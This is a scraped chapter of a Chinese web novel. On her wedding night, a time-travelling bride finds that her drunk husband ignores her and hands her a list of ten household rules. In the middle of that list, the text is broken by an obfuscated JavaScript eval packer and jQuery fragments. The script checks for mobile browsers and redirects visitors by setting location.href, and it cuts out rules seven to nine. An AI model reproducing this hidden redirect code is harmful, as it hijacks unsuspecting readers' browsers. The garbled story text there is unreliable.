默认冷灰
24号文字
方正启体

7. 洞房

作者:听瓷本书字数:K更新时间:
    “大少夫人稍安,大公子既然已同你成婚,日后定然会日日待你好。”


    耳边仍旧回荡着绿然的宽慰的话,大概她看出自己新婚的局促不安。


    可苏眠此时倒不是不安,是有些后悔。


    眼下婚礼已成,正式结为夫妻,也意味着从今往后,自己的命运要同陆峥这个陌生男子深深捆绑。


    倘若到时候找到画回到现代,这里发生的一切便于自己毫无瓜葛,至于离开后对这家人是否有影响,亦无从知晓。


    倘若迟迟未找到画,一年尚好,如此过上个十年八年,回不去走不了,进退两难,该如何自处?


    这个问题从她打参加“比画招亲”开始就翻来覆去在心里焦灼,直到现在,也依旧没有答案,还不知往后何时能有答案。


    ......


    日暮西斜,婚房里掌了灯,院子里的灯火也依次亮了。


    夜幕衬托下,侯府后罩房一侧高耸的观景台,远远望去,犹如一座自带灯火的宝塔。


    苏眠也恍惚自己徜徉在大婚的喜悦里。


    燕都城里的人们仰头望着永安侯最高处的红火,争相笑话:陆家临阵撤销“比画招亲”,婚礼仓促举行,洞房就在今夜。


    甚至有人打趣,今夜陆侯爷会不会命令陆大公子洞房临阵逃离。


    ……


    一时间永安侯府深陷舆论,与其说为新娘子担忧,不如想看陆府闹更多的笑话。


    侯府廊道,也升起了一盏盏大红灯笼,为陆峥照亮成家后第一次入住的“凌云轩”。


    从此以后,他就要和那个女子一同生活在那里“同床共枕”。


    “大公子快回来了,快!夫人盖上。”


    绿然听见门外小厮传唤,转头便端走面碗,苏眠眼睁睁见口粮被端走,迅速递给了门外小厮。


    苏眠两步跨去门槛,欲追回,却一头撞上刚迈进门醉醺醺的陆峥。


    青黛一步一回勾,将苏眠抱去床沿端坐,绿然带着丫鬟小厮鱼贯而入,将未完成的剪发、合婚酒等仪式用具一一备好。


    仪式完毕后,又井然有序离去,最后剩下绿然一人伫立苏眠身侧,迟迟不肯离去。


    绿然丈夫本是侯爷陆永安手下的兵,几年前京郊的一次水灾,原本不需要侯府出人,侯爷为表衷心,他却硬生生将她丈夫派去随朝廷出兵救灾。


    没过多久,前方便传来消息,她的丈夫不幸被洪水冲走,从此杳无音讯,也尸骨无存。


    二人原本有个五岁的儿子,前年也因一场瘟疫夭折,陆峥在整理侯府卫士档案册时发现绿染丈夫的事情。


    他隐隐回忆这个名字很熟悉,原来先前一场围猎中绿然丈夫曾救过自己。


    陆峥特意打听了他的家人,发现绿然失去丈夫、失去儿子后孤身一人,靠缝补浆洗度日,也就顺势将她接进府。


    绿然原先一直是留在谢氏名下的一处田庄上做活,最近才讨要来贴身服侍自己迎娶的新妇。


    绿然聪慧上进,自打一进侯府,便迅速了解府内条陈规矩,用心学习还欠缺的。


    就为让大公子满意,报答他的恩情,自然对他毕恭毕敬。


    可她并不知苏眠与陆峥里面的弯弯绕绕,所以,她也像对陆峥一般,一心向着苏眠。


    此刻洞房花烛夜,本是缱绻缠绵,两人却露出不寻常的反应。


    绿然见眼前大公子今日的装扮喜气洋洋,一副新郎官的模样,可面色却并无新郎官的欢喜。


    再一眼看向二人,大少夫人这般娇弱柔美,想来是与大公子极其般配的。


    可自己同大少夫人接触以来,发觉她不仅礼节很难周全,而且对四围周遭很是陌生,倘若今夜冲撞了大公子,恐怕往后不受待见。


    她自然是希望二人好,生怕这紧要时刻不顺利。


    她是过来人,都知道新婚的慌乱与尴尬,适才心里放心不下,却又无能为力,这般踌躇原地,迟迟未出门。


    见大公子身侧的冷锋将其扶正后也离去,寝房可真就剩下自己一人,情急之下,极力露出欢喜神色化尴尬。


    随后还附苏眠耳畔再三叮嘱,一会儿行周公之礼时,勿忘以娇弱态,柔柔盈盈,激发他作为男子的保护欲。


    如此,接下来之事才会轻柔温和,女子第一次亦少一些疼。


    “那些招数,尽可能使用,大少夫人切记!”


    苏眠听绿然这么一说,她想起前一日传授于自己的各种技巧与姿势,甚至还与她分享了勾栏瓦肆的伎俩。


    绿然从前就是市井妇,鱼龙混杂的什么人没见过,自己虽没有玩过那些与男子之间的姿势、招数与技巧。


    可与别的妇人攀谈之时,大家热火朝天分享这些名妓流出的花招,知晓可以惹得一丛又一丛男人拜倒在石榴裙下。


    听完绿然嘱咐,苏眠薄面微红,胡乱点头应了下来。


    绿然才放开她的手,一步三回头地出了新房。


    二人默默端坐一会儿,双双回头,四目正好相对,彼此眸光里更添局促,苏眠亦紧张更甚。


    陆峥一言不发,忽然摇摇晃晃起身,走向西侧的立柜。


    穿着大红袍的男子,似乎在翻找什么要紧的东西,眼前这一幕,苏眠惊恐于它曾出现在自己梦中。


    而且奇怪的是,和陆峥接触的几天里,苏眠有一种越来越熟悉的感觉,不禁心里砰砰直跳……


    看着陆峥的背影,心想他今晚应该不会碰自己吧?


    可醉醺醺的人,孤男寡女共处一室,况且还结为夫妻,万一他要是耍流氓强要了自己?


    苏眠不敢再往下想。


    他要是趁着酒劲儿强行圆房,他那看上去就结实有力的身子和体型,可能一个胳膊搭过来就能将自己压得喘不上气。


    自己还是他随意娶的女子,很难被珍惜,要是一时兽性大发,任凭在自己身上胡乱折腾。


    以自己目前这副弱不禁风的身板儿,恐怕真做了那风流鬼。


    关键还没有体会风流滋味,很可能就被折腾西去。


    苏眠实在不能想象,倘若待会儿真遇上陆峥放任自己?


    真到那一步,做那事时,绿然传授的经验,该用还是用,不就是努力极尽柔弱魅惑么?


    能博得夫君舒服,自己亦少遭罪?不过,再想想绿然给自己描绘的那些姿势、语气和嗲语,打了个冷颤。


    臣妾实在是做不到啊!


    虽说自己从现代而来,身旁腐友也有熏陶,但这方面实战经验实在是欠缺积累。


    如今火速成了这侯府大少夫人,就要......苏眠越想越没有底。


    转念一横,好汉不吃眼前亏!真发生了那事,只好按照绿然传授的尝试!大不了……


    “哐当!”


    陆峥忽然转身朝苏眠扔了一册书卷形式的东西,随手还将头上的玉冠扔去了梳妆台。


    将身上的婚服胡乱扯掉,甚至未看苏眠一眼,转身便钻进了大床。


    一把撩开内账,惹得帐上流苏玉璧相互撞击,发出叮叮当当清越的玉鸣。


    陆峥捂着被子,背对着苏眠睡去,屋里亦瞬间安静了下来。


    ......


    不一会儿,苏眠听见轻微的呼噜声,原本有些紧张的身子缓缓舒展开来,她亦吁出一口气。


    双眼直直地盯着床上的陆峥,那张白皙冷峻的侧脸此时泛出一脸酡色。


    他应是睡着了,或者是醉断片儿了。


    许久,苏眠才慢慢地起身,四肢朝四个方向长长地伸了伸,回神过来,想起方才陆峥扔过来的卷册。


    她好奇到底是什么?轻手轻脚地拿起,一步一轻盈地来到罗汉塌上。


    就这样两人一个卧床熟睡,一个塌上阅卷,看上去倒相安无事。


    苏眠仔仔细细研究书卷内容,翻开从前到后,从左往右读,苏眠越读越不对劲。


    适才反应过来古人之书和我们相反,于是从右往左读,越读,神情越凝重。


    最后脸上好似刷了一层黑炭,因为这个书卷内容简直前无古人,后无来者。


    吾与妻约法十章,如下:


    一则,卯时起床,八段锦。


    二则,辰时请安,显孝道。


    三则,巳时学画,磨技术。


    四则,午时必休,养精神。


    五则,未时装裱,增匠术。


    六则,申时女工,尽妇责。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359637|199731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>......


    十则,戌时入睡,做人妇。


    苏眠感觉胸口一股气流膨胀至喉咙口,手指死撑榻面戳出血色.


    “啪!”


    苏眠将卷册扔去了塌沿木头上,床上的陆峥被声音惊动,被子蠕动了两下。


    窗外漆黑的夜晚,泼墨似得没有一丝光亮,像沉去海底深不可测的海域。


    苏眠望着烛台的光亮,更夫梆子声敲响,掐指头算了算,四更天了。


    屋里的火盆已露出灰白的烧炭,看势逐渐熄灭,除非凑近,否则,感受不到太多余热。


    罗汉塌上没有被子,夜深寒凉,苏眠觉得自己好像落入冰窖一般。


    不禁双手抱臂,一身鸡皮疙瘩细细密密瞬间立起来。


    再这样下去,恐怕会被冻死,看着床上的陆峥,按理说还有一床被衾未用。


    可当苏眠蹑手蹑脚走近一看,整个人慌了。


    那一床被子虽然未被打开,可陆峥将它紧紧地抱在怀里。


    自己盖一床,还抱一床,简直毫无人性!


    四下丫鬟婆使全都睡熟了,若再次跑出去像上次一般,又掉进个什么窟窿被当做贼人捉住,就真是要命了。


    眼下已是大少夫人了,这样的脸可丢不起,亦不明智。


    一来会被认为大公子不待见,那往后下人亦不会给自己好脸色。


    二来,黑更半夜路不熟,人也陌生,压根儿不知去往哪里。


    所以,还是乖乖在婚房里,至于什么画不画的,回不回去,都先保暖要紧。


    过好当下最重!


    苏眠定睛再细看,陆峥盖一床不假,可他伸手抱另一床被子去了,实则真正盖身上的不多,余下一大节被衾都露在外面。


    苏眠还站在窗前小心翼翼比划了一番,确定能将自己装进去。


    于是,轻轻脱了鞋,慢慢坐去床沿,让双脚不动声色地伸进被子。


    渐渐确定脚钻进被子而不至于碰上陆峥,她才撑着两个胳膊缓缓躺下。


    躺下便不敢动弹,眼珠子朝里转了转,再次确定身旁之人未醒,鼻尖还萦绕香结花的味道,不一会儿她亦安心睡了去。


    翌日凌晨。


    天边微微露出白色的亮光,陆峥似醒还睡地情状下,一个习惯性翻身,一手便搭去两坨软乎乎的东西上面。


    苏眠胸前被突然重压,疼得尖叫了一声,猛然睁眼。


    转过去,正好对上了一双眼,眼里还带着细微的红血丝,透出淡淡的漠然与惊讶。


    苏眠下意识捂住胸前,咬了咬牙。


    “我晚上有些冷,你抱着另一床被子,还对角躺下,我只能这般,取暖。”


    陆峥注视了她几秒,即刻坐起来,环顾四周大红色的一片屋子,仿佛才意识到什么......


    陆峥再次转头注视苏眠,眸子一动不动,或许是刚醒来的缘故。


    又或者是侧旁灯架上红烛照映的缘故,瞳孔里一片淡淡的若隐若现的大红色。


    里面还有苏眠双手紧紧拽着胸前被衾不敢动弹的画面。


    被这样一双眼珠盯着,被衾下苏眠的脚趾头紧紧往回扣住,全身紧绷,纹丝不动。


    生怕眼前这个男子一怒之下,或者一时没忍住,将自己强要了去。


    睁着圆圆的一双眼,被动地和他对视。


    “大公子,大少夫人,你们醒了吗?今日早晨要去给侯爷和夫人请安,我能进来给大少夫人梳妆吗?”


    屋内有了动静,外面传来绿然轻轻的询问声。


    陆峥迅速转正身子,单手撑了撑,整个人连带着跨过苏眠就坐到了床沿,弯腰蹬鞋,两步跨去衣架取了衣裳就要往外。


    苏眠看向他的背影,瞬间沉沉地往下躺了躺,握紧被子长长地吁了一口气。


    忽然见他刚走到门口,又停下脚步往后退了几步。


    好不容易松出的一口气,一个憋闷又回了苏眠胸口,她内心忐忑,生怕这个节骨眼生出别的事端。


    “除了昨晚给你带卷册,我们之间定是要做足夫妻戏份,今早去向父亲母亲请安,还望配合。”


    陆峥语气低沉而淡漠,说罢正要跨出门槛……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)